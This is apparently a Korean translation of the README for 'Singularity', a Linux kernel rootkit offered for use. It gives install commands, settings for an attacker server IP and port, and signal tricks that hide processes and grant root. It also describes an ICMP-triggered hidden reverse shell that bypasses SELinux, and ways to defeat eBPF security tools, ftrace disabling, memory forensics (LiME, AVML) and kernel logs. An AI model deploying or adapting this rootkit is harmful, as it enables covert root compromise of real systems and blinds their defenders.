
6.x 커널을 위한 은밀한 Linux 커널 루트킷(LKM)으로, 고급 프로세스/네트워크 은닉, 권한 상승, 그리고 eBPF 보안 도구, LKRG, SELinux, 메모리 포렌식에 대한 포괄적인 회피 기능을 갖추고 있습니다.
"포렌식에 약간의 일거리를 줘볼까?"
Singularity는 현대적인 6.x 커널을 위해 설계된 강력한 Linux 커널 모듈(LKM) 루트킷입니다. ftrace 인프라를 통한 고급 시스템 콜 후킹을 통해 포괄적인 은닉 기능을 제공합니다.
전체 연구 문서 (구버전): Singularity: A Final Boss Linux Kernel Rootkit
EDR 우회 사례 연구: Bypassing Elastic EDR with Singularity
POC 영상: Singularity vs eBPF 보안 도구: Singularity vs eBPF security tools
Singularity 후킹으로 eBPF 보안 무력화하기: Breaking eBPF
Singularity 루트킷: Elastic Defend 모듈 로드 탐지 우회 Bypassing Elastic Defend
Singularity는 커널 수준에서 동작하는 정교한 루트킷으로, 다음을 제공합니다:
/sys/fs/cgroup/*/cgroup.procs를 통한 탐지를 방지하기 위한 Cgroup PID 필터링copy_mc_to_kernel에 대한 kprobe가 LiME 페이지 복사를 가로채고 모듈 페이지와 숨겨진 task_struct 범위를 0으로 채워진 버퍼로 리다이렉트합니다; AVML은 /proc/kcore 읽기 후킹을 통해 차단됩니다cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
그게 전부입니다. 모듈은 자동으로:
모듈은 로드 후 자동으로 자신을 숨깁니다
언로드 기능이 없습니다 - 제거하려면 재부팅이 필요합니다
먼저 VM에서 테스트하세요 - 재시작 없이는 제거할 수 없습니다
include/core.h를 편집하세요:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
modules/icmp.c 편집:
#define SRV_PORT "8081" // Change this to your desired port
modules/bpf_hook.c 편집:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
modules/hiding_tcp.c 편집:
#define PORT 8081 // Must match SRV_PORT
중요: 네트워크 은닉과 ICMP 리버스 셸 기능이 제대로 작동하려면 모든 포트 정의가 일치해야 합니다.
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
프로세스는 ps, top, htop, /proc 및 모든 모니터링 도구에 보이지 않게 됩니다. 모든 자식 프로세스는 자동으로 추적되고 숨겨집니다.
설정한 패턴과 일치하는 파일은 자동으로 숨겨집니다:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
시그널 기반 방법:
kill -59 $$
id # uid=0(root)
설정된 포트(기본값: 8081)의 연결은 자동으로 숨겨집니다:
nc -lvnp 8081
# Invisible to all monitoring
ss -tulpn | grep 8081 # (no output)
netstat -tulpn | grep 8081 # (no output)
lsof -i :8081 # (no output)
cat /proc/net/nf_conntrack | grep 8081 # (no output)
# Even advanced netlink queries are filtered
ss -tapen | grep 8081 # (no output)
conntrack -L | grep 8081 # (no output)
패킷은 raw 소켓 수준(tpacket_rcv)에서 드롭되며 다음으로부터 숨겨집니다:
자동 SELinux 우회와 함께 원격으로 숨겨진 리버스 셸을 트리거합니다:
1. 리스너 시작:
nc -lvnp 8081 # Use your configured port
2. ICMP 트리거 전송:
sudo python3 scripts/trigger.py <target_ip>
3. 루트 셸 획득 (모든 자식 프로세스와 함께 자동으로 숨겨지며, SELinux 강제 모드가 활성화된 경우 우회됨)
ftrace를 비활성화하려는 모든 시도는 조용히 가로채어 차단됩니다:
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
보호된 시스템 콜: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (지능형 PID별 캐싱 포함)
bpf_hook.c 모듈은 eBPF 기반 보안 도구에 대항하는 정교한 안티 디텍션 시스템을 구현합니다. BPF 시스템 콜을 완전히 차단하는 대신(이는 탐지 지문이 될 수 있음), 커널 수준에서 데이터를 선택적으로 필터링하여 숨겨진 프로세스와 연결이 eBPF 프로그램에 보이지 않도록 합니다.
전략: BPF 시스템 콜 자체가 아니라 eBPF 프로그램이 사용하는 데이터 수집 및 보고 기능을 가로챕니다. 이를 통해 정상적인 eBPF 도구는 정상적으로 실행되면서 숨겨진 리소스를 볼 수 없게 됩니다.
보호되는 리소스:
가로채기 지점:
이 접근 방식은 BPF 작업을 완전히 차단함으로써 발생할 수 있는 경고를 트리거하지 않고 eBPF 보안 도구를 무력화합니다.
ftrace_enabled 및 tracing_on 시도에서 io_uring 우회에 대한 보호 (PID당 1초 캐시로 반복적인 프로세스 스캔을 방지하고 오버헤드 감소)
모든 커널 로그 인터페이스에서 민감한 문자열의 실시간 필터링: